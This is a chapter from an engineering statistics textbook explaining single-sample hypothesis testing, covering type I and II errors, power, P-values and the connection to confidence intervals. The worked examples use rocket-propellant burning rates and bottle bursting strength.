In the previous two chapters we showed how a parameter of a population can be estimated from sample data, using either a point estimate (Chapter 7) or an interval of likely values called a confidence interval (Chapter 8). In many situations a different type of problem is of interest; there are two competing claims about the value of a parameter, and the engineer must determine which claim is correct. For example, suppose that an engineer is designing an air crew escape system that consists of an ejection seat and a rocket motor that powers the seat. The rocket motor contains a propellant, and in order for the ejection seat to function properly, the propellant should have a mean burning rate of 50 cm/sec. If the burning rate is too low, the ejection seat may not function properly, leading to an unsafe ejection and possible injury of the pilot. Higher burning rates may imply instability in the propellant or an ejection seat that is too powerful, again leading to possible pilot injury. So the practical engineering question that must be answered is: Does the mean burning rate of the propellant equal 50 cm/sec, or is it some other value (either higher or lower)? This type of question can be answered using a statistical technique called hypothesis testing. This chapter focuses on the basic principles of hypothesis testing and provides techniques for solving the most common types of hypothesis testing problems involving a single sample of data.

CHAPTER OUTLINE

9-1 HYPOTHESIS TESTING

- 9-1.1 Statistical Hypotheses
- 9-1.2 Tests of Statistical Hypotheses
- 9-1.3 One-Sided and Two-Sided Hypotheses
- 9-1.4 *P*-Values in Hypothesis Tests
- 9-1.5 Connection between Hypothesis Tests and Confidence Intervals
- 9-1.6 General Procedure for Hypothesis Tests

9-2 TESTS ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE KNOWN
9-2.1 Hypothesis Tests on the Mean
9-2.2 Type II Error and Choice of Sample Size
9-2.3 Large-Sample Test
9-3 TESTS ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE UNKNOWN
9-3.1 Hypothesis Tests on the Mean
9-3.2 Type II Error and Choice of Sample Size
9-4 TESTS ON THE VARIANCE AND STANDARD DEVIATION OF A NORMAL DISTRIBUTION
9-4.1 Hypothesis Tests on the Variance
9-4.2 Type II Error and Choice of Sample Size
9-5 TESTS ON A POPULATION PROPORTION
9-5.1 Large-Sample Tests on a Proportion
9-5.2 Type II Error and Choice of Sample Size
9-6 SUMMARY TABLE OF INFERENCE PROCEDURES FOR A SINGLE SAMPLE
9-7 TESTING FOR GOODNESS OF FIT
9-8 CONTINGENCY TABLE TESTS
9-9 NONPARAMETRIC PROCEDURES
9-9.1 The Sign Test
9-9.2 The Wilcoxon Signed-Rank Test
9-9.3 Comparison to the t-test

LEARNING OBJECTIVES

After careful study of this chapter, you should be able to do the following:

1. **Structure engineering decision-making problems as hypothesis tests**
2. **Test hypotheses on the mean of a normal distribution using either a *Z*-test or a *t*-test procedure**
3. **Test hypotheses on the variance or standard deviation of a normal distribution**
4. **Test hypotheses on a population proportion**
5. **Use the *P*-value approach for making decisions in hypotheses tests**
6. **Compute power and type II error probability, and make sample size selection decisions for tests on means, variances, and proportions**
7. **Explain and use the relationship between confidence intervals and hypothesis tests**
8. **Use the chi-square goodness of fit test to check distributional assumptions**
9. **Use contingency table tests**

9-1 HYPOTHESIS TESTING

9-1.1 Statistical Hypotheses

In the previous chapter we illustrated how to construct a confidence interval estimate of a parameter from sample data. However, many problems in engineering require that we decide which of two competing claim or statements about some parameter is true. The statements are called **hypotheses,** and the decision-making procedure is called **hypothesis testing.** This is one of the most useful aspects of statistical inference, since many types of decision-making problems, tests, or experiments in the engineering world can be formulated as hypothesis-testing problems. Furthermore, as we will see, there is a very close connection between hypothesis testing and confidence intervals.

Statistical hypothesis testing and confidence interval estimation of parameters are the fundamental methods used at the data analysis stage of a **comparative experiment,** in which the engineer is interested, for example, in comparing the mean of a population to a specified value. These simple comparative experiments are frequently encountered in practice and provide a good foundation for the more complex experimental design problems that we will discuss in Chapters 13 and 14. In this chapter we discuss comparative experiments involving a single population, and our focus is on testing hypotheses concerning the parameters of the population.

We now give a formal definition of a statistical hypothesis.

Statistical Hypothesis

A **statistical hypothesis** is a statement about the parameters of one or more populations.

Since we use probability distributions to represent populations, a statistical hypothesis may also be thought of as a statement about the probability distribution of a random variable. The hypothesis will usually involve one or more parameters of this distribution.

For example, consider the aircrew escape system described in the introduction. Suppose that we are interested in the burning rate of the solid propellant. Now, burning rate is a random variable that can be described by a probability distribution. Suppose that our interest focuses on the mean burning rate (a parameter of this distribution). Specifically, we are interested in deciding whether or not the mean burning rate is 50 centimeters per second. We may express this formally as

$$\begin{aligned} H_0&: \mu = 50 \text{ centimeters per second} \\ H_1&: \mu \neq 50 \text{ centimeters per second} \end{aligned} \tag{9-1}$$

The statement H_0: $\mu = 50$ centimeters per second in Equation 9-1 is called the **null hypothesis,** and the statement H_1: $\mu \neq 50$ centimeters per second is called the **alternative hypothesis.** Since the alternative hypothesis specifies values of μ that could be either greater or less than 50 centimeters per second, it is called a **two-sided alternative hypothesis.** In some situations, we may wish to formulate a **one-sided alternative hypothesis,** as in

$$\begin{aligned} H_0&: \mu = 50 \text{ centimeters per second} \\ H_1&: \mu < 50 \text{ centimeters per second} \end{aligned} \quad \text{or} \quad \begin{aligned} H_0&: \mu = 50 \text{ centimeters per second} \\ H_1&: \mu > 50 \text{ centimeters per second} \end{aligned} \tag{9-2}$$

It is important to remember that hypotheses are always statements about the population or distribution under study, not statements about the sample. The value of the population parameter specified in the null hypothesis (50 centimeters per second in the above example) is usually determined in one of three ways. First, it may result from past experience or knowledge of the process, or even from previous tests or experiments. The objective of hypothesis testing, then, is usually to determine whether the parameter value has changed. Second, this value may be determined from some theory or model regarding the process under study. Here the objective of hypothesis testing is to verify the theory or model. A third situation arises when the value of the population parameter results from external considerations, such as design or engineering specifications, or from contractual obligations. In this situation, the usual objective of hypothesis testing is conformance testing.

A procedure leading to a decision about a particular hypothesis is called a **test of a hypothesis.** Hypothesis-testing procedures rely on using the information in a random sample from the population of interest. If this information is consistent with the hypothesis, we will not reject the hypothesis; however, if this information is inconsistent with the hypothesis, we will conclude that the hypothesis is false. We emphasize that the truth or falsity of a particular hypothesis can never be known with certainty, unless we can examine the entire population. This is usually impossible in most practical situations. Therefore, a hypothesis-testing procedure should be developed with the probability of reaching a wrong conclusion in mind. In our treatment of hypothesis testing, the null hypothesis will always be stated so that it specifies an exact value of the parameter (as in the statement H_0: $\mu = 50$ centimeters per second in Equation 9-1). Testing the hypothesis involves taking a random sample, computing a **test statistic** from the sample data, and then using the test statistic to make a decision about the null hypothesis.

9-1.2 Tests of Statistical Hypotheses

To illustrate the general concepts, consider the propellant burning rate problem introduced earlier. The null hypothesis is that the mean burning rate is 50 centimeters per second, and the alternate is that it is not equal to 50 centimeters per second. That is, we wish to test

$$H_0: \mu = 50 \text{ centimeters per second}$$
$$H_1: \mu \neq 50 \text{ centimeters per second}$$

Suppose that a sample of $n = 10$ specimens is tested and that the sample mean burning rate $\bar{x}$ is observed. The sample mean is an estimate of the true population mean μ. A value of the sample mean $\bar{x}$ that falls close to the hypothesized value of $\mu = 50$ centimeters per second does not conflict with the null hypothesis that the true mean μ is really 50 centimeters per second. On the other hand, a sample mean that is considerably different from 50 centimeters per second is evidence in support of the alternative hypothesis H_1. Thus, the sample mean is the test statistic in this case.

The sample mean can take on many different values. Suppose that if $48.5 \leq \bar{x} \leq 51.5$, we will not reject the null hypothesis H_0: $\mu = 50$, and if either $\bar{x} < 48.5$ or $\bar{x} > 51.5$, we will reject the null hypothesis in favor of the alternative hypothesis H_1: $\mu \neq 50$. This is illustrated in Fig. 9-1. The values of $\bar{x}$ that are less than 48.5 and greater than 51.5 constitute the **critical region** for the test, while all values that are in the interval $48.5 \leq \bar{x} \leq 51.5$ form a region for which we will fail to reject the null hypothesis. By convention, this is usually called the **acceptance region.** The boundaries between the critical regions and the acceptance region are called the **critical values.** In our example the critical values are 48.5 and 51.5. It is customary to state conclusions relative to the null hypothesis H_0. Therefore, we reject H_0 in favor of H_1 if the test statistic falls in the critical region, and fail to reject H_0 otherwise.

Figure 9-1 Decision criteria for testing H_0: $\mu = 50$ centimeters per second versus H_1: $\mu \neq 50$ centimeters per second.

This decision procedure can lead to either of two wrong conclusions. For example, the true mean burning rate of the propellant could be equal to 50 centimeters per second. However, for the randomly selected propellant specimens that are tested, we could observe a value of the test statistic $\bar{x}$ that falls into the critical region. We would then reject the null hypothesis H_0 in favor of the alternate H_1 when, in fact, H_0 is really true. This type of wrong conclusion is called a **type I error.**

Type I Error

> Rejecting the null hypothesis H_0 when it is true is defined as a **type I error.**

Now suppose that the true mean burning rate is different from 50 centimeters per second, yet the sample mean $\bar{x}$ falls in the acceptance region. In this case we would fail to reject H_0 when it is false. This type of wrong conclusion is called a **type II error.**

Type II Error

> Failing to reject the null hypothesis when it is false is defined as a **type II error.**

Thus, in testing any statistical hypothesis, four different situations determine whether the final decision is correct or in error. These situations are presented in Table 9-1.

Because our decision is based on random variables, probabilities can be associated with the type I and type II errors in Table 9-1. The probability of making a type I error is denoted by the Greek letter α.

Probability of Type I Error

$$\alpha = P(\text{type I error}) = P(\text{reject } H_0 \text{ when } H_0 \text{ is true}) \tag{9-3}$$

Sometimes the type I error probability is called the **significance level,** or the **α-error,** or the size of the test. In the propellant burning rate example, a type I error will occur when either $\bar{x} > 51.5$ or $\bar{x} < 48.5$ when the true mean burning rate really is $\mu = 50$ centimeters per second. Suppose that the standard deviation of burning rate is $\sigma = 2.5$ centimeters per second and that the burning rate has a distribution for which the conditions of the central limit theorem apply, so the distribution of the sample mean is approximately normal with mean $\mu = 50$ and standard deviation $\sigma/\sqrt{n} = 2.5/\sqrt{10} = 0.79$. The probability of making a type I error (or the significance level of our test) is equal to the sum of the areas that have been shaded in the tails of the normal distribution in Fig. 9-2. We may find this probability as

$$\alpha = P(\bar{X} < 48.5 \text{ when } \mu = 50) + P(\bar{X} > 51.5 \text{ when } \mu = 50)$$

Figure 9-2 The critical region for H_0: $\mu = 50$ versus H_1: $\mu \neq 50$ and $n = 10$.

Table 9-1 Decisions in Hypothesis Testing

Decision	H_0 Is True	H_0 Is False
Fail to reject H_0	no error	type II error
Reject H_0	type I error	no error

Computing the Type I Error Probability

The z-values that correspond to the critical values 48.5 and 51.5 are

$$z_1 = \frac{48.5 - 50}{0.79} = -1.90 \qquad \text{and} \qquad z_2 = \frac{51.5 - 50}{0.79} = 1.90$$

Therefore,

$$\alpha = P(Z < -1.90) + P(Z > 1.90) = 0.0287 + 0.0287 = 0.0574$$

This is the type I error probability. This implies that 5.74% of all random samples would lead to rejection of the hypothesis H_0: $\mu = 50$ centimeters per second when the true mean burning rate is really 50 centimeters per second.

From inspection of Fig. 9-2, notice that we can reduce α by widening the acceptance region. For example, if we make the critical values 48 and 52, the value of α is

$$\alpha = P\left(Z < \frac{48 - 50}{0.79}\right) + P\left(Z > \frac{52 - 50}{0.79}\right) = P(Z < -2.53) + P(Z > 2.53)$$
$$= 0.0057 + 0.0057 = 0.0114$$

The Impact of Sample Size

We could also reduce α by increasing the sample size. If $n = 16$, $\sigma/\sqrt{n} = 2.5/\sqrt{16} = 0.625$, and using the original critical region from Fig. 9-1, we find

$$z_1 = \frac{48.5 - 50}{0.625} = -2.40 \qquad \text{and} \qquad z_2 = \frac{51.5 - 50}{0.625} = 2.40$$

Therefore,

$$\alpha = P(Z < -2.40) + P(Z > 2.40) = 0.0082 + 0.0082 = 0.0164$$

In evaluating a hypothesis-testing procedure, it is also important to examine the probability of a **type II error,** which we will denote by β. That is,

Probability of Type II Error

$$\beta = P(\text{type II error}) = P(\text{fail to reject } H_0 \text{ when } H_0 \text{ is false}) \qquad (9\text{-}4)$$

To calculate β (sometimes called the **β-error**), we must have a specific alternative hypothesis; that is, we must have a particular value of μ. For example, suppose that it is important to reject the null hypothesis H_0: $\mu = 50$ whenever the mean burning rate μ is greater than 52 centimeters per second or less than 48 centimeters per second. We could calculate the probability of a type II error β for the values $\mu = 52$ and $\mu = 48$ and use this result to tell us something about how the test procedure would perform. Specifically, how will the test procedure work if we wish to detect, that is, reject H_0, for a mean value of $\mu = 52$ or $\mu = 48$? Because of symmetry, it is necessary only to evaluate one of the two cases—say, find the probability of accepting the null hypothesis H_0: $\mu = 50$ centimeters per second when the true mean is $\mu = 52$ centimeters per second.

Computing the Probability of Type II Error

Figure 9-3 will help us calculate the probability of type II error β. The normal distribution on the left in Fig. 9-3 is the distribution of the test statistic $\overline{X}$ when the null hypothesis H_0: $\mu = 50$ is true (this is what is meant by the expression "under H_0: $\mu = 50$"), and the normal distribution on the right is the distribution of $\overline{X}$ when the alternative hypothesis is true and the value of the mean is 52 (or "under H_1: $\mu = 52$"). Now a type II error will be committed if the sample mean $\overline{X}$ falls between 48.5 and 51.5 (the critical region boundaries) when $\mu = 52$. As seen in Fig. 9-3, this is just the probability that $48.5 \le \overline{X} \le 51.5$ when the true mean is $\mu = 52$, or the shaded area under the normal distribution centered at $\mu = 52$. Therefore, referring to Fig. 9-3, we find that

$$\beta = P(48.5 \le \overline{X} \le 51.5 \text{ when } \mu = 52)$$

The z-values corresponding to 48.5 and 51.5 when $\mu = 52$ are

$$z_1 = \frac{48.5 - 52}{0.79} = -4.43 \qquad \text{and} \qquad z_2 = \frac{51.5 - 52}{0.79} = -0.63$$

Therefore,

$$\begin{aligned}\beta &= P(-4.43 \le Z \le -0.63) = P(Z \le -0.63) - P(Z \le -4.43)\\ &= 0.2643 - 0.0000 = 0.2643\end{aligned}$$

Thus, if we are testing H_0: $\mu = 50$ against H_1: $\mu \neq 50$ with $n = 10$, and the true value of the mean is $\mu = 52$, the probability that we will fail to reject the false null hypothesis is 0.2643. By symmetry, if the true value of the mean is $\mu = 48$, the value of β will also be 0.2643.

The probability of making a type II error β increases rapidly as the true value of μ approaches the hypothesized value. For example, see Fig. 9-4, where the true value of the mean is $\mu = 50.5$ and the hypothesized value is H_0: $\mu = 50$. The true value of μ is very close to 50, and the value for β is

$$\beta = P(48.5 \le \overline{X} \le 51.5 \text{ when } \mu = 50.5)$$

Figure 9-3 The probability of type II error when $\mu = 52$ and $n = 10$.

Figure 9-4 The probability of type II error when $\mu = 50.5$ and $n = 10$.

As shown in Fig. 9-4, the z-values corresponding to 48.5 and 51.5 when $\mu = 50.5$ are

$$z_1 = \frac{48.5 - 50.5}{0.79} = -2.53 \qquad \text{and} \qquad z_2 = \frac{51.5 - 50.5}{0.79} = 1.27$$

Therefore,

$$\begin{aligned}\beta &= P(-2.53 \le Z \le 1.27) = P(Z \le 1.27) - P(Z \le -2.53)\\ &= 0.8980 - 0.0057 = 0.8923\end{aligned}$$

Thus, the type II error probability is much higher for the case where the true mean is 50.5 centimeters per second than for the case where the mean is 52 centimeters per second. Of course, in many practical situations we would not be as concerned with making a type II error if the mean were "close" to the hypothesized value. We would be much more interested in detecting large differences between the true mean and the value specified in the null hypothesis.

Effect of Sample Size on β

The type II error probability also depends on the sample size n. Suppose that the null hypothesis is H_0: $\mu = 50$ centimeters per second and that the true value of the mean is $\mu = 52$. If the sample size is increased from $n = 10$ to $n = 16$, the situation of Fig. 9-5 results. The normal distribution on the left is the distribution of $\overline{X}$ when the mean $\mu = 50$, and the normal distribution on the right is the distribution of $\overline{X}$ when $\mu = 52$. As shown in Fig. 9-5, the type II error probability is

$$\beta = P(48.5 \le \overline{X} \le 51.5 \text{ when } \mu = 52)$$

When $n = 16$, the standard deviation of $\overline{X}$ is $\sigma/\sqrt{n} = 2.5/\sqrt{16} = 0.625$, and the z-values corresponding to 48.5 and 51.5 when $\mu = 52$ are

$$z_1 = \frac{48.5 - 52}{0.625} = -5.60 \quad \text{and} \quad z_2 = \frac{51.5 - 52}{0.625} = -0.80$$

Therefore,

$$\begin{aligned}\beta &= P(-5.60 \le Z \le -0.80) = P(Z \le -0.80) - P(Z \le -5.60)\\ &= 0.2119 - 0.0000 = 0.2119\end{aligned}$$

Figure 9-5 The probability of type II error when $\mu = 52$ and $n = 16$.

Recall that when $n = 10$ and $\mu = 52$, we found that $\beta = 0.2643$; therefore, increasing the sample size results in a decrease in the probability of type II error.

The results from this section and a few other similar calculations are summarized in the following table. The critical values are adjusted to maintain equal α for $n = 10$ and $n = 16$. This type of calculation is discussed later in the chapter.

Acceptance Region	Sample Size	α	β at $\mu = 52$	β at $\mu = 50.5$
$48.5 < \bar{x} < 51.5$	10	0.0576	0.2643	0.8923
$48 < \bar{x} < 52$	10	0.0114	$\boxed{0.5000}$	$\boxed{0.9705}$
$48.81 < \bar{x} < 51.19$	16	$\boxed{0.0576}$	$\boxed{0.0966}$	$\boxed{0.8606}$
$48.42 < \bar{x} < 51.58$	16	$\boxed{0.0114}$	$\boxed{0.2515}$	$\boxed{0.9578}$

The results in boxes were not calculated in the text but can easily be verified by the reader. This display and the discussion above reveal four important points:

1. The size of the critical region, and consequently the probability of a type I error α, can always be reduced by appropriate selection of the critical values.
2. Type I and type II errors are related. A decrease in the probability of one type of error always results in an increase in the probability of the other, provided that the sample size n does not change.
3. An increase in sample size reduces β, provided that α is held constant.
4. When the null hypothesis is false, β increases as the true value of the parameter approaches the value hypothesized in the null hypothesis. The value of β decreases as the difference between the true mean and the hypothesized value increases.

Generally, the analyst controls the type I error probability α when he or she selects the critical values. Thus, it is usually easy for the analyst to set the type I error probability at (or near) any desired value. Since the analyst can directly control the probability of wrongly rejecting H_0, we always think of rejection of the null hypothesis H_0 as a **strong conclusion.**

Because we can control the probability of making a type I error (or significance level), a logical question is what value should be used. The type I error probability is a measure of risk, specifically, the risk of concluding that the null hypothesis is false when it really isn't. So, the value of α should be chosen to reflect the consequences (economic, social, etc.) of incorrectly rejecting the null hypothesis. Smaller values of α would reflect more serious consequences and larger values of α would be consistent with less severe consequences. This is often hard to do, and what has evolved in much of scientific and engineering practice is to use the value $\alpha = 0.05$ in most situations, unless there is information available that indicates that this is an inappropriate choice. In the rocket propellant problem with $n = 10$, this would correspond to critical values of 48.45 and 51.55.

A widely used procedure in hypothesis testing is to use a type 1 error or significance level of $\alpha = 0.05$. This value has evolved through experience, and may not be appropriate for all situations.

On the other hand, the probability of type II error β is not a constant, but depends on the true value of the parameter. It also depends on the sample size that we have selected. Because the type II error probability β is a function of both the sample size and the extent to which the null hypothesis H_0 is false, it is customary to think of the decision to accept H_0 as a **weak conclusion,** unless we know that β is acceptably small. Therefore, rather than saying we "accept H_0," we prefer the terminology "fail to reject H_0." Failing to reject H_0 implies that we have not found sufficient evidence to reject H_0, that is, to make a strong statement. Failing to reject H_0 does not necessarily mean that there is a high probability that H_0 is true. It may simply mean that more data are required to reach a strong conclusion. This can have important implications for the formulation of hypotheses.

Strong versus Weak Conclusions

There is a useful analog between hypothesis testing and a jury trial. In a trial the defendant is assumed innocent (this is like assuming the null hypothesis to be true). If strong evidence is found to the contrary, the defendant is declared to be guilty (we reject the null hypothesis). If there is insufficiant evidence the defendant is declared to be not guilty. This is not the same as proving the defendant innocent and so, like failing to reject the null hypothesis, it is a weak conclusion.

An important concept that we will make use of is the **power** of a statistical test.

Power

> The **power** of a statistical test is the probability of rejecting the null hypothesis H_0 when the alternative hypothesis is true.

The power is computed as $1 - \beta$, and **power** can be interpreted as **the probability of correctly rejecting a false null hypothesis.** We often compare statistical tests by comparing their power properties. For example, consider the propellant burning rate problem when we are testing H_0: $\mu = 50$ centimeters per second against H_1: $\mu \neq 50$ centimeters per second. Suppose that the true value of the mean is $\mu = 52$. When $n = 10$, we found that $\beta = 0.2643$, so the power of this test is $1 - \beta = 1 - 0.2643 = 0.7357$ when $\mu = 52$.

Power is a very descriptive and concise measure of the **sensitivity** of a statistical test, where by sensitivity we mean the ability of the test to detect differences. In this case, the sensitivity of the test for detecting the difference between a mean burning rate of 50 centimeters per second and 52 centimeters per second is 0.7357. That is, if the true mean is really 52 centimeters per second, this test will correctly reject H_0: $\mu = 50$ and "detect" this difference 73.57% of the time. If this value of power is judged to be too low, the analyst can increase either α or the sample size n.

9-1.3 One-Sided and Two-Sided Hypotheses

In constructing hypotheses, we will always state the null hypothesis as an equality so that the probability of type I error α can be controlled at a specific value. The alternative hypothesis might be either one-sided or two-sided, depending on the conclusion to be drawn if H_0 is rejected. If the objective is to make a claim involving statements such as greater than, less than, superior to, exceeds, at least, and so forth, a one-sided alternative is appropriate. If no direction is implied by the claim, or if the claim "not equal to" is to be made, a two-sided alternative should be used.

EXAMPLE 9-1 Propellant Burning Rate

Consider the propellant burning rate problem. Suppose that if the burning rate is less than 50 centimeters per second, we wish to show this with a strong conclusion. The hypotheses should be stated as

$$H_0: \mu = 50 \text{ centimeters per second}$$
$$H_1: \mu < 50 \text{ centimeters per second}$$

Here the critical region lies in the lower tail of the distribution of $\overline{X}$. Since the rejection of H_0 is always a strong conclusion, this statement of the hypotheses will produce the desired outcome if H_0 is rejected. Notice that, although the null hypothesis is stated with an equals sign, it is understood to include any value of μ not specified by the alternative hypothesis. Therefore, failing to reject H_0 does not mean that $\mu = 50$ centimeters per second exactly, but only that we do not have strong evidence in support of H_1.

In some real-world problems where one-sided test procedures are indicated, it is occasionally difficult to choose an appropriate formulation of the alternative hypothesis. For example, suppose that a soft-drink beverage bottler purchases 10-ounce bottles from a glass company. The bottler wants to be sure that the bottles meet the specification on mean internal pressure or bursting strength, which for 10-ounce bottles is a minimum strength of 200 psi. The bottler has decided to formulate the decision procedure for a specific lot of bottles as a hypothesis testing problem. There are two possible formulations for this problem, either

$$H_0: \mu = 200 \text{ psi}$$
$$H_1: \mu > 200 \text{ psi} \tag{9-5}$$

or

$$H_0: \mu = 200 \text{ psi}$$
$$H_1: \mu < 200 \text{ psi} \tag{9-6}$$

Formulating One-Sided Hypothesis

Consider the formulation in Equation 9-5. If the null hypothesis is rejected, the bottles will be judged satisfactory; if H_0 is not rejected, the implication is that the bottles do not conform to specifications and should not be used. Because rejecting H_0 is a strong conclusion, this formulation forces the bottle manufacturer to "demonstrate" that the mean bursting strength of the bottles exceeds the specification. Now consider the formulation in Equation 9-6. In this situation, the bottles will be judged satisfactory unless H_0 is rejected. That is, we conclude that the bottles are satisfactory unless there is strong evidence to the contrary.

Which formulation is correct, the one of Equation 9-5 or Equation 9-6? The answer is that it depends on the objective of the analysis. For Equation 9-5, there is some probability that H_0 will not be rejected (i.e., we would decide that the bottles are not satisfactory), even though the true mean is slightly greater than 200 psi. This formulation implies that we want the bottle manufacturer to demonstrate that the product meets or exceeds our specifications. Such a formulation could be appropriate if the manufacturer has experienced difficulty in meeting specifications in the past or if product safety considerations force us to hold tightly to the 200-psi specification. On the other hand, for the formulation of Equation 9-6 there is some probability that H_0 will be accepted and the bottles judged satisfactory, even though the true mean is slightly less than 200 psi. We would conclude that the bottles are unsatisfactory only when there is strong evidence that the mean does not exceed 200 psi, that is, when H_0: $\mu = 200$ psi is rejected. This formulation assumes that we are relatively happy with the bottle manufacturer's past performance and that small deviations from the specification of $\mu \geq 200$ psi are not harmful.

In formulating one-sided alternative hypotheses, we should remember that rejecting H_0 is always a strong conclusion. Consequently, we should put the statement about which it is important to make a strong conclusion in the alternative hypothesis. In real-world problems, this will often depend on our point of view and experience with the situation.

9-1.4 *P*-Values in Hypothesis Tests

One way to report the results of a hypothesis test is to state that the null hypothesis was or was not rejected at a specified α-value or level of significance. This is called **fixed significance level** testing.

The fixed significance level approach to hypothesis testing is very nice because it leads directly to the concepts of type II error and power, which are of considerable value in determining the appropriate sample sizes to use in hypothesis testing. But the fixed significance level approach does have some disadvantages.

For example, in the propellant problem above, we can say that H_0: $\mu = 50$ was rejected at the 0.05 level of significance. This statement of conclusions may be often inadequate because it gives the decision maker no idea about whether the computed value of the test statistic was just barely in the rejection region or whether it was very far into this region. Furthermore, stating the results this way imposes the predefined level of significance on other users of the information. This approach may be unsatisfactory because some decision makers might be uncomfortable with the risks implied by $\alpha = 0.05$.

To avoid these difficulties, the ***P*-value** approach has been adopted widely in practice. The *P*-value is the probability that the test statistic will take on a value that is at least as extreme as the observed value of the statistic when the null hypothesis H_0 is true. Thus, a *P*-value conveys much information about the weight of evidence against H_0, and so a decision maker can draw a conclusion at *any* specified level of significance. We now give a formal definition of a *P*-value.

***P*-Value**

The ***P*-value** is the smallest level of significance that would lead to rejection of the null hypothesis H_0 with the given data.

It is customary to call the test statistic (and the data) significant when the null hypothesis H_0 is rejected; therefore, we may think of the *P*-value as the smallest level α at which the data are significant. In other words, the *P*-value is the **observed significance level.** Once the *P*-value is known, the decision maker can determine how significant the data are without the data analyst formally imposing a preselected level of significance.

Consider the two-sided hypothesis test for burning rate

$$H_0: \mu = 50 \quad H_1: \mu \neq 50$$

with $n = 16$ and $\sigma = 2.5$. Suppose that the observed sample mean is $\bar{x} = 51.3$ centimeters per second. Figure 9-6 shows a critical region for this test with the value of $\bar{x} = 51.3$ and the symmetric value 48.7. The *P*-value of the test is the probability above 51.3 plus the

Figure 9-6 *P*-value is the area of the shaded region when $\bar{x} = 51.3$.

probability below 48.7. The *P*-value is easy to compute after the test statistic is observed. In this example,

$$\begin{aligned} P\text{-value} &= 1 - P(48.7 < \bar{X} < 51.3) \\ &= 1 - P\left(\frac{48.7 - 50}{2.5/\sqrt{16}} < Z < \frac{51.3 - 50}{2.5/\sqrt{16}}\right) \\ &= 1 - P(-2.08 < Z < 2.08) \\ &= 1 - 0.962 = 0.038 \end{aligned}$$

The P-value tells us that if the null hypothesis $H_0 = 50$ is true, the probability of obtaining a random sample whose mean is at least as far from 50 as 51.3 (or 48.7) is 0.038. Therefore, an observed sample mean of 51.3 is a fairly rare event if the null hypothesis $H_0 = 50$ is really true. Compared to the "standard" level of significance 0.05, our observed *P*-value is smaller, so if we were using a fixed significance level of 0.05, the null hypothesis would be rejected. In fact, the null hypothesis $H_0 = 50$ would be rejected at *any* level of significance greater than or equal to 0.038. This illustrates the boxed definition above; the *P*-value is the smallest level of significance that would lead to rejection of $H_0 = 50$.

Operationally, once a *P*-value is computed, we typically compare it to a predefined significance level to make a decision. Often this predefined significance level is 0.05. However, in presenting results and conclusions, it is standard practice to report the observed *P*-value along with the decision that is made regarding the null hypothesis.

Clearly, the *P*-value provides a measure of the credibility of the null hypothesis. Specifically, it is the risk that you have made an incorrect decision if you reject the null hypothesis H_0. The *P*-value is *not* the probability that the null hypothesis is false, nor is $1 - P$ the probability that the null hypothesis is true. The null hypothesis is either true or false (there is no probability associated with this), and so the proper interpretation of the *P*-value is in terms of the risk of wrongly rejecting the null hypothesis H_0.

It is not always easy to compute the exact *P*-value for a statistical test. However, most modern statistics software packages report the results of hypothesis testing problems in terms of *P*-values. We will use the *P*-value approach extensively.

9-1.5 Connection between Hypothesis Tests and Confidence Intervals

There is a close relationship between the test of a hypothesis about any parameter, say θ, and the confidence interval for θ. If $[l, u]$ is a $100(1 - \alpha)\%$ confidence interval for the parameter θ, the test of size α of the hypothesis

$$\begin{aligned} H_0: \theta &= \theta_0 \\ H_1: \theta &\neq \theta_0 \end{aligned}$$

will lead to rejection of H_0 if and only if θ_0 is **not** in the $100(1 - \alpha)\%$ CI $[l, u]$. As an illustration, consider the escape system propellant problem with $\bar{x} = 51.3$, $\sigma = 2.5$, and $n = 16$. The null hypothesis H_0: $\mu = 50$ was rejected, using $\alpha = 0.05$. The 95% two-sided CI on μ can be calculated using Equation 8-7. This CI is $51.3 \pm 1.96(2.5/\sqrt{16})$ and this is $50.075 \leq \mu \leq 52.525$. Because the value $\mu_0 = 50$ is not included in this interval, the null hypothesis H_0: $\mu = 50$ is rejected.

Although hypothesis tests and CIs are equivalent procedures insofar as decision making or **inference** about μ is concerned, each provides somewhat different insights. For instance, the confidence interval provides a range of likely values for μ at a stated confidence level, whereas hypothesis testing is an easy framework for displaying the **risk levels** such as the P-value associated with a specific decision. We will continue to illustrate the connection between the two procedures throughout the text.

9-1.6 General Procedure for Hypothesis Tests

This chapter develops hypothesis-testing procedures for many practical problems. Use of the following sequence of steps in applying hypothesis-testing methodology is recommended.

1. **Parameter of interest:** From the problem context, identify the parameter of interest.
2. **Null hypothesis, H_0:** State the null hypothesis, H_0.
3. **Alternative hypothesis, H_1:** Specify an appropriate alternative hypothesis, H_1.
4. **Test statistic:** Determine an appropriate test statistic.
5. **Reject H_0 if:** State the rejection criteria for the null hypothesis.
6. **Computations:** Compute any necessary sample quantities, substitute these into the equation for the test statistic, and compute that value.
7. **Draw conclusions:** Decide whether or not H_0 should be rejected and report that in the problem context.

Steps 1–4 should be completed prior to examination of the sample data. This sequence of steps will be illustrated in subsequent sections.

In practice, such a formal and (seemingly) rigid procedure is not always necessary. Generally, once the experimenter (or decision maker) has decided on the question of interest and has determined the **design of the experiment** (that is, how the data are to be collected, how the measurements are to be made, and how many observations are required), only three steps are really required:

1. Specify the test statistic to be used (such as Z_0).
2. Specify the location of the critical region (two-tailed, upper-tailed, or lower-tailed).
3. Specify the criteria for rejection (typically, the value of α, or the P-value at which rejection should occur).

These steps are often completed almost simultaneously in solving real-world problems, although we emphasize that it is important to think carefully about each step. That is why we present and use the eight-step process; it seems to reinforce the essentials of the correct approach. While you may not use it every time in solving real problems, it is a helpful framework when you are first learning about hypothesis testing.

Statistical versus Practical Significance

We noted previously that reporting the results of a hypothesis test in terms of a P-value is very useful because it conveys more information than just the simple statement "reject H_0" or "fail

to reject H_0." That is, rejection of H_0 at the 0.05 level of significance is much more meaningful if the value of the test statistic is well into the critical region, greatly exceeding the 5% critical value, than if it barely exceeds that value.

Even a very small P-value can be difficult to interpret from a practical viewpoint when we are making decisions because, while a small P-value indicates **statistical significance** in the sense that H_0 should be rejected in favor of H_1, the actual departure from H_0 that has been detected may have little (if any) **practical significance** (engineers like to say "engineering significance"). This is particularly true when the sample size n is large.

